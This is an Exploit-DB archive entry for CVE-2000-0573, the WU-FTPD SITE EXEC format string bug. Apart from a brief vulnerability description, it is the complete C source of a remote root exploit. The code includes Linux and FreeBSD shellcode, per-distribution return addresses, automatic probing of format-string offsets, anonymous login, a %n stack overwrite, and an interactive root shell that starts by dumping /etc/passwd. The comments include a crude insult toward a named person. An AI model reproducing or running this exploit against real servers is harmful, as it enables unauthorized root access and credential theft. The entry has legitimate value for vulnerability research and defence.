标题: WU-FTPD 2.4.2/2.5 .0/2.6.0 - Remote Format String Stack Overwrite (1) EDB-ID: 20030 CVE: 2000-0573 类型: REMOTE 平台: UNIX 发布日期: 1999-10-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1387/info

Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.

It should be noted that the SITE INDEX command is affected as well. 

/*
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 *
 *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
 *   by tf8
 *
 * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
 *     released (2.6.0 is the most popular version nowadays), and it
 *     should suffice to proof this vulnerability concept.
 *
 *   Site exec was never really *fixed*
 *
 *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
 *    \x90, venglin, xz, MYT and lamagra.
 *   Also greetings go to the WU-FTPD development team for including this
 *    bug in ALL their versions.
 *
 *   Fuck to wuuru (he is an idiot)
 *
 *   Account is not required, anonymous access is enough :)
 *
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

#ifdef __linux
#include <getopt.h>
#endif

#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"

char infin_loop[]= /* for testing purposes */
 "\xEB\xFE";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
 "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
 "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
 "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
 "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
 "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
 "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
 "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
 "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
 "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
 "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
 "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
 "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
 "\x67\x6c\x69\x6e";

char bsd_code_d[]= /* you should call it directly (no jump/call)*/
 "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
 "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
 "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
 "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
 "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
 "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
 "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
 "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
 "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
 "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
 "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

char linuxcode[]= /* Lam3rZ chroot() code */
 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
 "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
 "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
 "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
 "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
 "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
 "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
 "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
 "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
 "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

#define MAX_FAILED      4
#define MAX_MAGIC       100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;

struct targets {
        int def;
        char *os_descr, *shellcode;
        int delay;
        u_long pass_addr, addr_ret_addr;
        int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};

struct targets targ[]={
        {1,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
        {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
        {0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
        {0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
        {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
        {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1
,2,1,2,1,4},0},
        {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},
0},
        {0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,
2,1,2,1,3,2,1,4},0},
        {0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
        {0,NULL,NULL,0,0,0,{0},{0},0}
};

void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
"         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target    : host with any wuftpd\nuser      : anonymous user\n"
"dir       : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
"-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
 for(i=0;targ[i].os_descr!=NULL;i++){
  padding=0;
  fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
  if(q>1){
   fprintf(stderr,"     Magic ID: [");
   for(n=0;targ[i].magic[n]!=0;n++){
    if(targ[i].magic_d[n]==4)
     padding=targ[i].magic[n];
    fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
    if(targ[i].magic[n+1]!=0)
     fprintf(stderr,":");
   }
   fprintf(stderr,"] Padding: %d\n",padding);
   fflush(stderr);
  }
 }
 exit(1);
}

int connect_to_server(char*host){
 struct hostent *hp;
 struct sockaddr_in cl;
 int sock;      
        
 if(host==NULL||*host==(char)0){
  fprintf(stderr,"Invalid hostname\n");
  exit(1);
 }
 if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
  if((hp=gethostbyname(host))==NULL) {
   fprintf(stderr,"Cannot resolve %s\n",host);
   exit(1);
  }
  memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
 }
 if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
  exit(1);
 }
 cl.sin_family=PF_INET;
 cl.sin_port=htons(21);
 if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
  fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
  exit(1);
 }
 return sock;
}

int ftp_recv(int sock,char*buf,int buf_size,int disc){
 int n=0;
 char q;
        
 if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
 else {
  (void)bzero(buf,buf_size);
  n=recv(sock,buf,buf_size,0);
  if(n<0){
   fprintf(stderr,"ftp_recv: recv failed\n");
   exit(1);
  }
  buf[n]=0;
 }
 return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
 int n;
 n=send(sock,what,size,0);
 if(n!=size){
  fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
  shutdown(sock,2);
  close(sock);
  exit(1);
 }
 if(f)
  return ftp_recv(sock,ans,ans_size,0);
 return 0;
}

int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
 ftp_send(sock,buff,buff_len,q,ans,ans_len);
 if(strncmp(ans,"200-",4)==0)
   ftp_recv(sock,NULL,0,1);
 else
  ftp_recv(sock,ans,ans_len,0);
        
 if(strncmp(ans,"200-",4)){
  fprintf(stderr,"Cannot find site exec response string\n");
  exit(1);
 }
 return 0;
}

void ftp_login(int sock,char*u_name,char*u_pass)
{
 char buff[2048];
  printf("loggin into system..\n");
  snprintf(buff,2047,"USER %s\r\n", u_name);
  ftp_send(sock, buff,strlen(buff),1,buff,2047);
  printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
  snprintf(buff,2047,"PASS %s\r\n",u_pass);
  printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  while(strstr(buff,"230 ")==NULL){
   (void)bzero(buff,2048);
   ftp_recv(sock,buff,2048,0);
  }
  printf("%s",buff);
  return;
}

void ftp_mkchdir(int sock,char*cd,char*new)
{
 char buff[2048];

 sprintf(buff,"CWD %s\r\n",cd);
 printf(GREEN"%s"NORM,buff);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf("%s",buff);
 sprintf(buff,"MKD %s\r\n",new);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
 sprintf(buff,"CWD %s\r\n",new);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
 return;
}
void process_possibly_rooted(int sock)
{
 fd_set         fd_read;
 char buff[1024], *cmd="/bin/cat /etc/passwd;/usr/bin/id;\n";
 int n;

 FD_ZERO(&fd_read);
 FD_SET(sock, &fd_read);
 FD_SET(0, &fd_read);
 send(sock, cmd, strlen(cmd), 0);
 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);
  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  if( FD_ISSET(sock, &fd_read) ) {
   if((n=recv(sock,buff,sizeof(buff),0))<0){
     fprintf(stderr, "EOF\n");
     exit(2);
   }
   if(write(1,buff,n)<0)break;
  }
  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<0){        
      fprintf(stderr,"EOF\n");
      exit(2);
    }
    if(send(sock,buff,n,0)<0) break;
  }
  usleep(10);   
 }
 fprintf(stderr,"Connection aborted, select failed()\n");
 exit(0);
}

int magic_check_f(int sock, char *str) {
 char q[2048], ans[2048];

 snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
 if( strstr( q, "\r\n") == NULL) {
  fprintf(stderr,"Line TOO big..\n");
  exit(-1);
 }
 ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
 if( before_len+10 < strlen(&ans[3]) ) return 0;
 before_len=strlen(&ans[3]);
 (void)strcat(str,"%.f");
 return 1;
}
int magic_check_o(int sock, char *str) {
 char q[2048], ans[2048];
  snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
  if( strstr( q, "\r\n") == NULL) {
   fprintf(stderr,"Line TOO big..\n");
   exit(-1);
  }
 ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
 if( before_len== strlen(&ans[3]) ) {
  before_len+=1;
  (void)strcat(str, "%d");
  return 3;
 }
 before_len=strlen(&ans[3]);
 (void)strcat(str,"%c");
 return 2;
}

int magic_check_ok( int sock, char *str)
{
 char q[2048], ans[2048];
 int i ,n=1, f, padding=0;
        
 snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
 if ( strstr(q, "\r\n" ) == NULL) {
  fprintf(stderr, "Line too long\n");
  exit(-1);
 }
 (void)bzero(ans, 2048);
 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
 if(strstr(ans,"0x61616161")==NULL)
   return 0;
 for(i =0; i < MAX_MAGIC && magic[i]; i++);
 magic_d[i]=4;
 while(n){
  for(f=0; f< 2; f++) {
   snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
   (void)bzero(ans, 2048);
   ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
   if( strstr(ans, "0x61616161")!=NULL) {
    if (f==0) {
     magic[i]=padding;
     return 1;
    } else if( f==1) {
     strcat(str,"%p");
     magic[i]=padding;
     return 1;
    }
   }
  }
  if(padding > 4) {
   fprintf(stderr,"Cannot calculate padding..\n");
   exit(1);
  }
  padding++;            
 }
 return 1;
}


int magic_digger(int sock)
{
 int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
        
 if(magic_str==NULL){
  if((magic_str=(char*)malloc(4092))==NULL){
   perror("malloc");
   exit(errno);
  }
 }
 (void)bzero(magic_str, 4092);
 where=0;
 while(get_out) {
  int q;
  if( where >= MAX_MAGIC-1 || all_failed <= 0 )
    return -1;
  if( magic_check_f(sock, magic_str) ) {
   o=0,f++;
    if(f==1){
     if(!magic[where])
      magic[where]=1;
     else
      magic[++where]+=1;
    magic_d[where]=1;
    } else
     magic[where]+=1;
   all_failed=MAX_FAILED*2;
   printf("%s", "%.f"); fflush(stdout);
   goto verify;
  }
  all_failed--;
  if((q=magic_check_o(sock,magic_str))){
   f=0,o++;
    if(o==1){
     if(!magic[where])
      magic[0]=1;
     else
      magic[++where]+=1;
    magic_d[where]=q;
   } else {
    if(magic_d[where]==q)
     magic[where]+=1;
    else {
     magic[++where]=1;
     magic_d[where]=q;
    }
   }
   all_failed=MAX_FAILED*2;
   printf("%s", q==2?"%c":"%d");
   fflush(stdout);
   goto verify;
  }
  all_failed--;
  continue;
  verify:
  if(magic_check_ok(sock,magic_str)){
   putchar('\n');
   return 0;
  }
 }
 return 0;
}

int main(int argc, char *argv[]){
        char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
        int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
        u_long ret_addr=0, pass_addr=0;
        for(i=0;targ[i].os_descr!=NULL;i++);
        while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
        switch(c) {
         case 't': target=optarg;break;
         case 'l':
           username=optarg;
           passwd=strchr(optarg,'/');
           if(passwd==NULL)
            usage(argv[0],0);
           *passwd++=(char)0;
           break;
         case 'x': testmode=1; break;
         case 'o': offset=atoi(optarg);break;
         case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
         case 'g': gm=1; break;
         case 'M': dir=optarg;mtype=1;break;
         case 'm':
           {
            int where=0;
            if(!*optarg) {
              fprintf(stderr,"-m requires argument, try -h for help\n");
              exit(1);
            }
            while(1) {
              magic[where]=strtoul(optarg,&optarg,16);
              optarg=strchr(optarg,',');
              if(optarg==NULL){
                printf("comma missing\n");
                exit(1);
              }
              optarg++;
              magic_d[where++]=strtoul(optarg,&optarg,16);
              if(strchr(optarg,':')==NULL){
               magic[where]=magic_d[where]=0;
               break;
              }
              optarg=strchr(optarg,':');
              optarg++;
            }
           }
           break;
          case 's':
            num=atoi(optarg);
            if(num>i) {
             fprintf(stderr,"systype too big, try -h for help\n");
             exit(1);
            } 
            break;
          case 'r':
            ret_addr=strtoul(optarg,&optarg,16);
            break;
          case 'P':
            padding=atoi(optarg);
            break;
          case 'H':
             bla=2;
          default: usage(argv[0],bla);break;
         }
        }
        if(target==NULL){
          fprintf(stderr,"No target specified, try -h for help\n");
          exit(1);
        }
        if(num==-1||num==-2) {
          for(i=0;!targ[i].def;i++);
          num=i;
        }
        (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

        if(magic[1]!=0) {
         memcpy((void*)getit.magic,magic,sizeof(magic));
         memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
        }

        if(ret_addr)getit.addr_ret_addr=ret_addr;
        if(pass_addr)getit.pass_addr=pass_addr;

        getit.addr_ret_addr+=(offset*4);

        sock=connect_to_server(target);
        memset(shellcode, '\x90', sizeof(shellcode));
        shellcode[sizeof(shellcode)-1]=(char)0;
        if(!mtype){
         memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
         shellcode[sizeof(shellcode)-1]=(char)0;
        }else{
         memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
         shellcode[250-1]=(char)0;
        }
        printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
        printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.
shellcode));

        buff=(char *)malloc(1024);
        bzero(buff,1024);

        (void)ftp_recv(sock,NULL,0,1);

        (void)ftp_login(sock,username,passwd);

        if(gm||(magic_str==NULL&&getit.magic[0]==0)){
         printf("STEP 2A: Generating magic string: ");
         fflush(stdout);
         magic_digger(sock);
         memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
         memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
         printf("STEP 2B: MAGIC STRING: [");
        } else {
          printf("STEP 2 : Skipping, magic number already exists: [");
        }
        for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
         printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
         if(getit.magic[i+1]!=0)
             putchar(':');
        }
        printf("]\n");
        buff=(char *)realloc(buff, 4092);
        (void)bzero(buff, 4092);
        if(mtype)
         ftp_mkchdir(sock,dir,shellcode);
        printf("STEP 3 : Checking if we can reach our return address by format string\n");
        if(!magic_str){
          magic_str=(char*)malloc(2048);
          if(magic_str==NULL) {
            perror("malloc");
            exit(errno);
          }
          (void)bzero(magic_str,2048);
          for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
           switch(getit.magic_d[i]) {
            case 1:
               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
               break;
            case 2:
               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
               break;
            case 3:
               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
               break;
            case 4:if(padding<0)padding=getit.magic[i];break;
            default:fprintf(stderr,"STEP 3: INternal error\n");
               exit(1);
               break;
          }
         }
        }
        if(padding<0){
          for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
          if(num<(MAX_MAGIC-1))
            padding=getit.magic[num];
          else
            fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
        }
        
        if(!getit.islinux){
         if(!testmode)
           snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr
),magic_str,"%p");
         else
           snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),ma
gic_str,"%p");
        } else {
         if(!testmode)
           snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_
addr),magic_str,"%p");
         else
           snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr
),magic_str,"%p");
        }
        sleep(getit.delay);
        fflush(stdout);
        if((buff_p=(char *)malloc(4096))==NULL){
          fprintf(stderr,"malloc failed.\n");
          exit(1);
        }
        (void)bzero(buff_p,4096);
        ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
        if((buff_p2=strchr(buff_p,'\r'))!=NULL)
         *buff_p2=(char)0;
        if((buff_p2=strchr(buff_p,'\n'))!=NULL)
         *buff_p2=(char)0;
        buff_p2=strstr(buff_p,"|0x");
        if(buff_p2==NULL){
          fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
          exit(1);
        }
        buff_p2+=3;
        if(!testmode)
          printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
        else
          printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
        sleep(getit.delay);
        buff_p2=strstr(buff, "%.f");
        *buff_p2++=(char )0;
        strcpy(buff_p, buff);
        if(!testmode)
          sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
        else
          sprintf(buff_p+strlen(buff_p),"%s","%d%d");
        strcpy(buff_p+strlen(buff_p), buff_p2);
        buff_p2=strchr(buff_p,'|');
        buff_p2++;
        printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
        if(!testmode){
          strcpy(buff_p2,"%n\r\n");
          ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
        } else {
          (void)bzero(buff,4096);
          strcpy(buff_p2,"%s\r\n");
          ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
          printf("got answer: %s\n",buff);
          exit(0);
        }
        free(buff_p);
        free(buff);
        signal(SIGINT, SIG_IGN);
        signal(SIGHUP, SIG_IGN);
        printf(RED"Press ^\\ to leave shell"NORM"\n");
        process_possibly_rooted(sock);
        return 0;
} URL: https://www.exploit-db.com/exploits/20030